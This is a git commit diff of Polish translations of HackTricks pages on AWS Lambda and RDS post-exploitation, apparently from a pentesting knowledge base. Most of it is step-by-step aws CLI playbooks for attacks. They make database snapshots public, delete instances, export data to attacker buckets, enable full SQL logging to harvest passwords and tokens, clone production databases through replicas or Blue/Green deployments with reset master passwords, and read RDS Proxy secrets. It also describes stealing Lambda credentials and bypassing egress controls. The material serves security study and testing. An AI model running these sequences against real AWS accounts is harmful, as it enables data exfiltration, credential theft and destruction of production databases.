Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-07 15:40:59 +00:00
parent 978eab34fa
commit b225538ba7
2 changed files with 472 additions and 31 deletions
@@ -4,7 +4,7 @@
## Lambda
Po więcej informacji sprawdź:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,13 +12,13 @@ Po więcej informacji sprawdź:
### Exfilrtate Lambda Credentials
Lambda używa zmiennych środowiskowych do wstrzykiwania credentials w runtime. Jeśli uzyskasz do nich dostęp (np. czytając `/proc/self/environ` lub używając samej podatnej funkcji), możesz ich użyć samodzielnie. Znajdują się one w domyślnych nazwach zmiennych `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, i `AWS_ACCESS_KEY_ID`.
Lambda używa zmiennych środowiskowych do dostarczania poświadczeń w czasie wykonywania. Jeśli uzyskasz do nich dostęp (np. odczytując `/proc/self/environ` lub wykorzystując podatną funkcję), możesz ich użyć samodzielnie. Są przechowywane w domyślnych zmiennych `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, i `AWS_ACCESS_KEY_ID`.
Domyślnie mają one uprawnienia do zapisu w grupie logów cloudwatch (jej nazwa jest przechowywana w `AWS_LAMBDA_LOG_GROUP_NAME`), oraz do tworzenia dowolnych grup logów, jednak funkcje Lambda często mają dodatkowe uprawnienia przypisane w zależności od ich przeznaczenia.
Domyślnie będą miały uprawnienia do zapisu do grupy logów cloudwatch (jej nazwa jest przechowywana w `AWS_LAMBDA_LOG_GROUP_NAME`), jak również do tworzenia dowolnych grup logów; jednak funkcje lambda często mają dodatkowe uprawnienia przyznane w zależności od ich przeznaczenia.
### Steal Others Lambda URL Requests
Jeśli atakujący w jakiś sposób uzyska RCE wewnątrz funkcji Lambda, będzie mógł przechwycić żądania HTTP innych użytkowników kierowane do tej funkcji. Jeśli żądania zawierają wrażliwe informacje (cookies, credentials...) będzie je mógł wykradać.
Jeśli atakujący w jakiś sposób uzyska RCE wewnątrz Lambda, będzie mógł przechwytywać żądania HTTP innych użytkowników kierowane do tej funkcji. Jeśli żądania zawierają wrażliwe informacje (cookies, credentials...), będzie mógł je ukraść.
{{#ref}}
aws-warm-lambda-persistence.md
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
### Steal Others Lambda URL Requests & Extensions Requests
Nadużywając Lambda Layers można także wykorzystać extensions do utrzymania obecności w funkcji Lambda, a także do kradzieży i modyfikacji żądań.
Nadużywając Lambda Layers można także wykorzystać extensions do utrwalenia dostępu w lambda oraz do przechwytywania i modyfikowania żądań.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -34,7 +34,7 @@ Nadużywając Lambda Layers można także wykorzystać extensions do utrzymania
### AWS Lambda VPC Egress Bypass
Zmusź funkcję Lambda do opuszczenia ograniczonego VPC poprzez zaktualizowanie jej konfiguracji z pustym VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcja zostanie wtedy uruchomiona w zarządzanym przez Lambda obszarze sieciowym, odzyskując dostęp wychodzący do internetu i omijając kontrole egress wymuszane przez prywatne subnety VPC bez NAT.
Wymuś uruchomienie funkcji Lambda poza ograniczonym VPC, aktualizując jej konfigurację z pustym VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcja zacznie wtedy działać w zarządzanym przez Lambda obszarze sieciowym, odzyskując dostęp do internetu wychodzącego i omijając kontrole egress wymuszane przez prywatne podsieci VPC bez NAT.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
### AWS Lambda Runtime Pinning/Rollback Abuse
Nadużyj `lambda:PutRuntimeManagementConfig`, aby przypiąć funkcję do konkretnej wersji runtime (Manual) lub zamrozić aktualizacje (FunctionUpdate). Pozwala to zachow kompatybilność ze złośliwymi layers/wrappers i może utrzymać funkcję na przestarzałym, podatnym runtime, co ułatwia eksploatację i długotrwałe utrzymanie dostępu.
Wykorzystaj `lambda:PutRuntimeManagementConfig` do przypięcia funkcji do konkretnej wersji runtime (Manual) lub zamrożenia aktualizacji (FunctionUpdate). To zachowuje kompatybilność z złośliwymi layers/wrappers i może utrzymać funkcję na przestarzałym, podatnym runtime, co ułatwia exploitation i długoterminową persistence.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
Nadużyj zaawansowanych ustawień logowania `lambda:UpdateFunctionConfiguration`, aby przekierować logi funkcji do grupy CloudWatch Logs wybranej przez atakującego. Działa to bez zmiany kodu czy roli wykonawczej (większość ról Lambda już zawiera `logs:CreateLogGroup/CreateLogStream/PutLogEvents` poprzez `AWSLambdaBasicExecutionRole`). Jeśli funkcja wypisuje sekrety/treści żądań lub awaryjnie kończy się ze stack traces, możesz je pobrać z nowej grupy logów.
Wykorzystaj zaawansowane ustawienia logowania `lambda:UpdateFunctionConfiguration` do przekierowania logów funkcji do wybranej przez atakującego grupy logów CloudWatch Logs. Działa to bez zmiany kodu ani roli wykonawczej (większość ról Lambda już zawiera `logs:CreateLogGroup/CreateLogStream/PutLogEvents` przez `AWSLambdaBasicExecutionRole`). Jeśli funkcja wypisuje secrets/request bodies lub ulega crashowi ze stack trace, możesz je zebrać z nowej grupy logów.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
### AWS - Lambda Function URL Public Exposure
Zamień prywatny Lambda Function URL w publiczny, nieautoryzowany endpoint, ustawiając Function URL AuthType na NONE i dołączając politykę opartą na zasobach, która przyznaje lambda:InvokeFunctionUrl wszystkim. To umożliwia anonimowe wywołanie wewnętrznych funkcji i może ujawnić wrażliwe operacje backendowe.
Zamień prywatny Lambda Function URL w publiczny, nieautoryzowany endpoint, zmieniając Function URL AuthType na NONE i dołączając resource-based policy, która przyznaje lambda:InvokeFunctionUrl wszystkim. To umożliwia anonimowe wywoływanie wewnętrznych funkcji i może ujawnić wrażliwe operacje backendowe.
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda Event Source Mapping Target Hijack
Nadużyj `UpdateEventSourceMapping`, aby zmienić docelową funkcję Lambda istniejącego Event Source Mapping (ESM), tak aby rekordy z DynamoDB Streams, Kinesis lub SQS były dostarczane do funkcji kontrolowanej przez atakującego. To cicho przekierowuje dane w czasie rzeczywistym bez ingerencji w producentów lub oryginalny kod funkcji.
Wykorzystaj `UpdateEventSourceMapping` do zmiany docelowej funkcji Lambda istniejącego Event Source Mapping (ESM), tak aby rekordy z DynamoDB Streams, Kinesis, lub SQS były dostarczane do funkcji kontrolowanej przez atakującego. To cicho przekierowuje dane na żywo bez ingerencji w producentów ani oryginalny kod funkcji.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
### AWS Lambda EFS Mount Injection data exfiltration
Nadużyj `lambda:UpdateFunctionConfiguration`, aby dołączyć istniejący EFS Access Point do funkcji Lambda, a następnie wdroż prosty kod, który listuje/odczytuje pliki z podmontowanej ścieżki w celu wyeksfiltrowania współdzielonych sekretów/konfiguracji, do których funkcja wcześniej nie miała dostępu.
Wykorzystaj `lambda:UpdateFunctionConfiguration` do podłączenia istniejącego EFS Access Point do Lambda, a następnie wdrożenia prostego kodu, który listuje/odczytuje pliki z zamontowanej ścieżki, aby exfiltrate współdzielone secrets/config, do których funkcja wcześniej nie miała dostępu.
{{#ref}}
aws-lambda-efs-mount-injection.md
@@ -1,4 +1,4 @@
# AWS - RDS Post Exploitation
# AWS - RDS Post-eksploatacja
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Więcej informacji:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie utworzenie z tego snapshotu publicznie dostępnej DB.
Jeśli atakujący ma wystarczające uprawnienia, może uczynić **DB publicznie dostępną** poprzez utworzenie snapshotu DB, a następnie utworzenie publicznie dostępnej DB z tego snapshotu.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot DB** i uczynić go **publicznie** **dostępnym**. Następnie mógłby po prostu utworzyć w swoim koncie DB z tego snapshotu.
Atakujący z tymi uprawnieniami mógłby **utworzyć snapshot DB** i uczynić go **publicznie** **dostępnym**. Następnie mógłby po prostu utworzyć we własnym koncie DB z tego snapshotu.
Jeśli atakujący **nie ma `rds:CreateDBSnapshot`**, nadal mógłby uczynić **inne** utworzone snapshoty **publicznymi**.
Jeżeli atakujący **nie ma `rds:CreateDBSnapshot`**, nadal może uczynić **inne** utworzone snapshoty **publicznymi**.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać fragmenty plików dziennika instancji RDS**. Jeśli w logach zostaną przypadkowo zapisane wrażliwe dane lub poświadczenia dostępu, atakujący mógłby potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
Atakujący posiadający uprawnienie `rds:DownloadDBLogFilePortion` może **pobrać fragmenty plików logów instancji RDS**. Jeśli w logach przypadkowo zostaną zapisane dane wrażliwe lub dane uwierzytelniające, atakujący może wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania wykorzystujące leaked credentials.
**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania przy użyciu leaked credentials.
### `rds:DeleteDBInstance`
Atakujący posiadający te uprawnienia może **DoS existing RDS instances**.
Atakujący posiadający te uprawnienia może spowodować **DoS istniejących instancji RDS**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Potencjalny wpływ**: Usunięcie istniejących instancji RDS i potencjalna utrata danych.
**Potencjalny wpływ**: Usunięcie istniejących instancji RDS i możliwa utrata danych.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Przetestować
Atakujący posiadający to uprawnienie może **wyeksportować migawkę (snapshot) instancji RDS do bucketu S3**. Jeśli atakujący ma kontrolę nad docelowym bucketem S3, może potencjalnie uzyskać dostęp do wrażliwych danych zawartych w wyeksportowanej migawce.
Atakujący posiadający to uprawnienie może **wyeksportować snapshot instancji RDS do bucketu S3**. Jeśli atakujący ma kontrolę nad docelowym bucketem S3, może potencjalnie uzyskać dostęp do wrażliwych danych zawartych w wyeksportowanym snapshocie.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potencjalny wpływ**: Dostęp do wrażliwych danych w wyeksportowanym snapshotcie.
**Potencjalny wpływ**: Uzyskanie dostępu do wrażliwych danych w wyeksportowanym snapshotcie.
### Replikacja zautomatyzowanych kopii zapasowych między regionami dla cichego przywrócenia (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
Wykorzystaj replikację zautomatyzowanych kopii zapasowych między regionami, aby dyskretnie skopiować zautomatyzowane kopie zapasowe instancji RDS do innego AWS Region i tam je przywrócić. Atakujący może następnie uczynić przywróconą bazę danych publicznie dostępną i zresetować hasło mastera, aby uzyskać dostęp do danych poza kanałem w Regionie, którego obrońcy mogą nie monitorować.
Wykorzystaj replikację zautomatyzowanych kopii zapasowych między Regionami, aby dyskretnie zduplikować zautomatyzowane backupy instancji RDS do innego Regionu AWS i tam je przywrócić. Atakujący może następnie udostępnić przywróconą bazę publicznie i zresetować hasło master, aby uzyskać dostęp do danych poza kanałami monitoringu w Regionie, którego obrońcy mogą nie monitorować.
Permissions needed (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` w docelowym Regionie
- `rds:DescribeDBInstanceAutomatedBackups` w docelowym Regionie
- `rds:RestoreDBInstanceToPointInTime` w docelowym Regionie
- `rds:ModifyDBInstance` w docelowym Regionie
- `rds:StopDBInstanceAutomatedBackupsReplication` (opcjonalne czyszczenie)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (aby wystawić przywróconą bazę danych)
Wymagane uprawnienia (minimum):
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
- `rds:ModifyDBInstance` in the destination Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
Impact: Utrzymanie dostępu i eksfiltracja danych poprzez przywrócenie kopii danych produkcyjnych w innym Regionie i udostępnienie jej publicznie przy użyciu poświadczeń kontrolowanych przez atakującego.
Wpływ: Utrzymanie dostępu i eksfiltracja danych przez przywrócenie kopii danych produkcyjnych w innym Regionie i ich publiczne udostępnienie z poświadczeniami kontrolowanymi przez atakującego.
<details>
<summary>Pełny przykład CLI (zamień placeholdery)</summary>
@@ -163,4 +163,445 @@ aws rds stop-db-instance-automated-backups-replication \
</details>
### Włącz pełne logowanie SQL za pomocą DB parameter groups i eksfiltruj przez RDS log APIs
Abuse `rds:ModifyDBParameterGroup` with RDS log download APIs, aby przechwycić wszystkie instrukcje SQL wykonywane przez aplikacje (nie są potrzebne poświadczenia silnika DB). Włącz logowanie SQL na poziomie silnika i pobierz pliki logów przez `rds:DescribeDBLogFiles` i `rds:DownloadDBLogFilePortion` (lub REST `downloadCompleteLogFile`). Przydatne do zebrania zapytań, które mogą zawierać secrets/PII/JWTs.
Wymagane uprawnienia (minimum):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (tylko do dołączenia niestandardowej grupy parametrów, jeśli instancja używa domyślnej)
- `rds:RebootDBInstance` (dla parametrów wymagających rebootu, np. PostgreSQL)
Kroki
1) Rozpoznanie celu i aktualnej grupy parametrów
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
```
2) Upewnij się, że dołączony jest niestandardowy DB parameter group (nie można edytować domyślnego)
- Jeśli instancja już używa niestandardowej grupy, użyj jej nazwy w następnym kroku.
- W przeciwnym razie utwórz i dołącz taką, która odpowiada engine family:
```bash
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
```
3) Włącz szczegółowe logowanie SQL
- Silniki MySQL (natychmiast / bez restartu):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
```
- PostgreSQL engines (wymagane ponowne uruchomienie):
```bash
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
```
4) Pozwól uruchomić obciążenie (lub generuj zapytania). Zapytania SQL zostaną zapisane w logach plików silnika
- MySQL: `general/mysql-general.log`
- PostgreSQL: `postgresql.log`
5) Odkryj i pobierz logi (nie są wymagane poświadczenia do bazy danych)
```bash
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
```
6) Analizuj offline w poszukiwaniu danych wrażliwych
```bash
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
```
Przykładowe dowody (ocenzurowane):
```text
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
```
Czyszczenie
- Przywróć parametry do wartości domyślnych i reboot jeśli wymagane:
```bash
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
```
Wpływ: Post-exploitation dostęp do danych poprzez przechwytywanie wszystkich instrukcji SQL aplikacji za pośrednictwem AWS APIs (no DB creds), potencjalnie leaking secrets, JWTs, and PII.
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
Abuse RDS read replicas, aby uzyskać out-of-band dostęp do odczytu bez ingerencji w poświadczenia instancji primary. Atakujący może utworzyć read replica z instancji produkcyjnej, zresetować master password repliki (to nie zmienia primary) i opcjonalnie wystawić replikę publicznie, aby exfiltrate data.
Permissions needed (minimum):
- `rds:DescribeDBInstances`
- `rds:CreateDBInstanceReadReplica`
- `rds:ModifyDBInstance`
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
Wpływ: Tylko do odczytu dostęp do danych produkcyjnych za pośrednictwem repliki z poświadczeniami kontrolowanymi przez atakującego; mniejsze prawdopodobieństwo wykrycia, ponieważ primary pozostaje nietknięta i replikacja trwa.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
Przykładowe dowody (MySQL):
- Stan repliki DB: `available`, read replication: `replicating`
- Pomyślne połączenie z nowym hasłem i `@@read_only=1`, potwierdzające dostęp do repliki w trybie tylko do odczytu.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
Wykorzystaj RDS Blue/Green do sklonowania produkcyjnej DB do ciągle replikowanego, tylko do odczytu środowiska green. Następnie zresetuj poświadczenia mastera dla green, aby uzyskać dostęp do danych bez dotykania instancji blue (prod). To jest bardziej dyskretne niż snapshot sharing i często omija monitoring skupiony wyłącznie na źródle.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
Wpływ: Dostęp tylko do odczytu, ale pełny dostęp do danych z niemal w czasie rzeczywistym klonu środowiska produkcyjnego bez modyfikowania instancji produkcyjnej. Przydatne do dyskretnego wyciągania danych i analizy offline.
### SQL poza pasmem przez RDS Data API przez włączenie HTTP endpointu + zresetowanie hasła głównego
Nadużyj Aurora, aby włączyć RDS Data API HTTP endpoint na docelowym klastrze, zresetować hasło główne na wartość, którą kontrolujesz, i uruchamiać SQL przez HTTPS (nie jest wymagana bezpośrednia ścieżka sieciowa do VPC). Działa na silnikach Aurora, które obsługują Data API/EnableHttpEndpoint (np. Aurora MySQL 8.0 provisioned; niektóre wersje Aurora PostgreSQL/MySQL).
Uprawnienia (minimum):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Wpływ: Ominięcie segmentacji sieci i eksfiltracja danych przez API AWS bez bezpośredniej łączności VPC z bazą danych.
<details>
<summary>Pełen przebieg przez CLI (przykład Aurora MySQL)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
CLUSTER_ID=<target-cluster-id>
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
--db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].DBClusterArn' --output text)
# 2) Enable Data API HTTP endpoint on the cluster
# Either of the following (depending on API/engine support):
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
# or
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--enable-http-endpoint --apply-immediately
# Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].HttpEndpointEnabled' --output text
# 3) Reset master password to attacker-controlled value
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
# Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
[[ "$P" == "None" || "$P" == "null" ]] && break
sleep 10
done
# 4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
--query ARN --output text)
# 5) Prove out-of-band SQL via HTTPS using rds-data
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
--format-records-as JSON
```
</details>
Uwagi:
- Jeśli multi-statement SQL jest odrzucany przez rds-data, wykonaj oddzielne wywołania execute-statement.
- Dla silników, dla których modify-db-cluster --enable-http-endpoint nie ma efektu, użyj rds enable-http-endpoint --resource-arn.
- Upewnij się, że silnik/wersja faktycznie obsługuje Data API; w przeciwnym razie HttpEndpointEnabled pozostanie False.
### Pozyskiwanie poświadczeń DB przez sekrety autoryzacji RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Wykorzystaj konfigurację RDS Proxy, aby odkryć sekret Secrets Manager używany do uwierzytelniania backendu, a następnie odczytaj ten sekret, aby uzyskać poświadczenia bazy danych. Wiele środowisk przyznaje szerokie uprawnienie `secretsmanager:GetSecretValue`, co ułatwia pivot do poświadczeń DB. Jeśli sekret używa CMK, błędnie zdefiniowane uprawnienia KMS mogą również pozwolić na `kms:Decrypt`.
Wymagane uprawnienia (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` dla wskazanego SecretArn
- Opcjonalne, gdy sekret używa CMK: `kms:Decrypt` dla tego klucza
Wpływ: Natychmiastowe ujawnienie nazwy użytkownika/hasła DB skonfigurowanych w proxy; umożliwia bezpośredni dostęp do DB lub dalszy lateral movement.
Kroki
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
```
Laboratorium (minimalne do odtworzenia)
```bash
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
Sprzątanie (lab)
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
```
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
